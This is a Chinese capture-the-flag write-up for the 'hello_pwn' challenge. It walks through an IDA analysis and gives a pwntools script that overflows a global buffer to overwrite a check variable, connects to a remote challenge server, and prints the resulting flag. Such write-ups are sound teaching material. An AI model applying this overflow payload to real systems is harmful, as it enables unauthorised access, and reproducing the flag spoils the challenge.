收获

  • 基础的栈溢出漏洞

  • 熟悉 exp 的编写


【攻防世界】hello_pwn


思路

查看文件信息:

攻防世界-hello_pwn1.png

64位 小端序,只开启了栈保护,没有金丝雀

尝试执行:

攻防世界-hello_pwn2.png

在 IDA 中分析:

攻防世界-hello_pwn3.png

通过 read() 从命令行向 unk_601068 的地址处写入 0x10 个值,如果 dword_60106C == 1853186401,就执行 sub_400686() 函数,跟进:

攻防世界-hello_pwn4.png

sub_400686() 函数直接 cat flag.txt

因此,只需要将 dword_60106C 的值设置为 1853186401 就可以得到 flag

查看 dword_60106C 存放的位置:

攻防世界-hello_pwn5.png

可以看到 read() 输入的值存放在 unk_601068 的地方就在 dword_60106C 的上方
read() 输入的长度为 0x10,因此只需在输入 unk_601068 时溢出修改 dword_60106C 的值即可


脚本

from pwn import *
context(os = 'linux',arch = 'amd64' ,log_level = 'debug')   # 打印调试信息
content = 0   # 本地Pwn通之后,将content改成0,Pwn远程端口

def main():
    if content == 1:
        io = process("./hello_pwn")   # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 58615)   # 题目的远程端口

    payload = b'a' * (0x60106C - 0x601068) + p64(1853186401)

    io.recvuntil("lets get helloworld for bof\n")
    io.sendline(payload)

    io.interactive()

main()

结果

cyberpeace{ff873b571a60849c4df0f263789a392c}

攻防世界-hello_pwn6.png

执行了 cat: flag.txt: 没有那个文件或目录,说明本地已经 PWN 通

将 comtent 改为 0:

攻防世界-hello_pwn7.png

获得 flag